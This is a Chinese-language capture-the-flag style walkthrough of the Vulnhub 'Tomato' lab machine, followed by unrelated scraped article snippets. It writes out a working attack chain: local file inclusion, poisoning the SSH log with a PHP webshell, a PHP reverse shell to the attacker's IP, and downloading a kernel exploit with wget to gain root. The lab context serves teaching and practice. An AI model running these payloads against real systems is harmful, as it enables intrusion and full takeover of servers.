Vulnhub系列:Tomato(文件包含getshell)
这个靶机挺有意思,它是通过文件包含漏洞进行的getshell,主要姿势是将含有一句话木马的内容记录到ssh的登录日志中,然后利用文件包含漏洞进行包含,从而拿到shell
0x01 靶机信息
靶机:Tomato
难度:中—难
下载:https://www.vulnhub.com/entry/tomato-1,557/
靶机描述:
0x02 信息收集
nmap扫描存活主机确定靶场ip
- nmap -sP 192.168.43.0/24
接下来扫描靶机的端口
- nmap -sS -sV -p- -v 192.168.43.165
0x03 漏洞发现
然后访问web服务
网站目录扫描
- dirb http://192.168.43.165:80
访问antibot_image发现存在目录遍历
发现info.php是phpinfo的界面
查看页面源代码发现一串文件包含的代码
- http://192.168.43.165/antibot_image/antibots/info.php?image=/etc/passwd
0x04 漏洞利用
接下来尝试文件包含被污染的SSH日志来getshell
- ssh '<?php system($_GET['shell']); ?>'@192.168.43.165 -p2211
这样'<?php system($_GET['shell']); ?>'该用户就会被记录到ssh的日志中去
ssh日志在/var/log/auth.log中
开启nc监听
- nc -lvnp 3388
反弹shell 将
- http://192.168.43.165/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php -r '$sock=fsockopen("192.168.43.221",3388);exec("/bin/sh -i <&3 >&3 2>&3");'
其中以下语句是建立socket会话,然后反向连接
- php -r '$sock=fsockopen("192.168.43.221",3388);exec("/bin/sh -i <&3 >&3 2>&3");'
然后进行url编码
- http://192.168.43.165/antibot_image/antibots/info.php?image=../../../../../var/log/auth.log&shell=php+-r+%27%24sock%3dfsockopen(%22192.168.43.221%22%2c3388)%3bexec(%22%2fbin%2fsh+-i+%3c%263+%3e%263+2%3e%263%22)%3b%27
访问URL,成功反弹shell
0x05 权限提升
我们首先建立可交互式shell
- python3 -c "import pty;pty.spawn('/bin/bash')"
然后查看linux内核版本
- uname -a
去github上去找这个版本的exp
- https://github.com/kkamagui/linux-kernel-exploits
用这个CVE-2017-6074的
、
下载到本地
- git clone https://github.com/kkamagui/linux-kernel-exploits.git
然后运行compile.sh 编译c文件
并上传到目标主机
- python -m SimpleHTTPServer 8000
然后用wget下载到靶机上
- wget http://192.168.43.221:8000/CVE-2017-6074
查看该文件的权限
- ls -l
赋予执行权限
- chmod +x CVE-2017-6074
运行该文件
发现已经拿到root权限
参考:https://mp.weixin.qq.com/s/40zG1Tjmo_8pbbpN-IWZ4A
Vulnhub系列:Tomato(文件包含getshell)的更多相关文章
- CVE-2018-12613 phpmyadmin文件包含getshell连载(三)
这是phpmyadmin系列渗透思路的第三篇文章,前面一篇文章阐述了通过慢查询日志getshell,本文将通过文件包含漏洞展开讨论 #001 影响版本 Phpmyadmin 4.8.0/4.8.0.1 ...
- 通达OA任意文件上传+文件包含GetShell/包含日志文件Getshell
0x01 简介 通达OA采用基于WEB的企业计算,主HTTP服务器采用了世界上最先进的Apache服务器,性能稳定可靠.数据存取集中控制,避免了数据泄漏的可能.提供数据备份工具,保护系统数据安全.多级 ...
- PHP文件包含学习笔记
看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子 参考文章: PHP文件包含漏洞利用思路与Bypass总结 ...
- 文件包含漏洞(RFI)
1文件包含漏洞简介 include require include_once require_once RFI综述 RFI是Remote File Inclusion的英文缩写,直译过来就是远 ...
- Linux Shell系列教程之(十七) Shell文件包含
本文是Linux Shell系列教程的第(十七)篇,更多Linux Shell教程请看:Linux Shell系列教程 通过文件包含,可以引用其他文件的内容,也可以将复杂内容分开,使程序结构更加清晰. ...
- 易酷 cms2.5 本地文件包含漏洞 getshell
易酷 cms2.5 本地文件包含漏洞 getshell 首先下载源码安装(http://127.0.0.1/test/ekucms2.5/install.php) 安装成功直接进行复现吧 本地包含一 ...
- PHP文件包含及使用伪协议getshell
file:// - 访问本地文件系统 http:// - 访问 HTTP(s) 网址 ftp:// - 访问 FTP(s) URLs php:// - 访问各个输入/输出流(I/O streams) ...
- 组合拳 | 本地文件包含漏洞+TFTP=Getshell
文章声明 安全文章技术仅供参考,此文所提供的信息为漏洞靶场进行渗透,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作. 本文所提供的工具仅用于学习,禁止用于其他,未经授权,严禁转载,如需转 ...
- 关于Discuz! X系列UC_Server 本地文件包含漏洞
最近又发现discuz论坛被挂马了,决定好好研究一下discuz的漏洞,技术债始终要还是要还的 一.问题发现 快要睡觉的时候,突然收到一封邮件,发现服务器上的文件被篡改了,立即登录服务器,清空恶意文件 ...
随机推荐
- 材料资源和成本资源(Project)
<Project2016 企业项目管理实践>张会斌 董方好 编著 第二种资源就是[材料资源]啦~ 拿到资源第一件事就是输入基本信息,这个,不复读了,复读得我自己都嫌烦.好吧,还得说明一下, ...
- Tornado.web.Application之-settings
应用程序配置 class tornado.web.Application(handlers:List [Union [Rule,Tuple]] = None,default_host:str = N ...
- JAVA获取指定日期的一天的开始时刻(时间)和结束时刻(时间)
注: SimpleDateFormat是线程不安全的 public static SimpleDateFormat format = new SimpleDateFormat("yyyyMM ...
- CMake之常用内置变量和message用法
关于 cmake 定义了相当丰富的变量,然而,我常用的也就那几个 脑子笨,记不住变量的值时,我会使用cmake的message函数输出变量值 为什么要写这个? 最近尝试使用Modern CMake, ...
- 【LeetCode】598. Range Addition II 解题报告(Python)
作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 日期 题目地址:https://leetcode.c ...
- Docker 与 K8S学习笔记(四)—— Dockerfile的编写
在上一篇中我们简单介绍了Docker镜像的获取与使用,其中在镜像制作中提到在实际使用中一定要用Dockerfile方式去创建镜像而不要用docker commit方式,那么我们该如何编写Dockerf ...
- Web前端面试题整合,持续更新【可以收藏】
饭后闲来无事,把这几年带学生用的一些面试题整合一下,供上!拿走,不客气!应付一般公司的二面基本上是够用了.祝你早日拿到心仪的offer. css相关 1. 万能居中 1.margin: 0 auto; ...
- 教学日志:javaSE-循环语句
一.while循环和do...while循环 /* while循环:先判断条件,再执行逻辑代码 四部分组成: 1.初始化:循环的初始化变量 2.条件判断:条件返回必须是true或false 3.循环体 ...
- Codeforces 450D:Jzzhu and Cities(最短路,dijkstra)
D. Jzzhu and Cities time limit per test: 2 seconds memory limit per test: 256 megabytes input: stand ...
- 【计算机组成】 Quartus II 关于总线data[][]转换多个总线data[]时不成功的问题
xjtuse 直接使用报错: 加中间层不报错: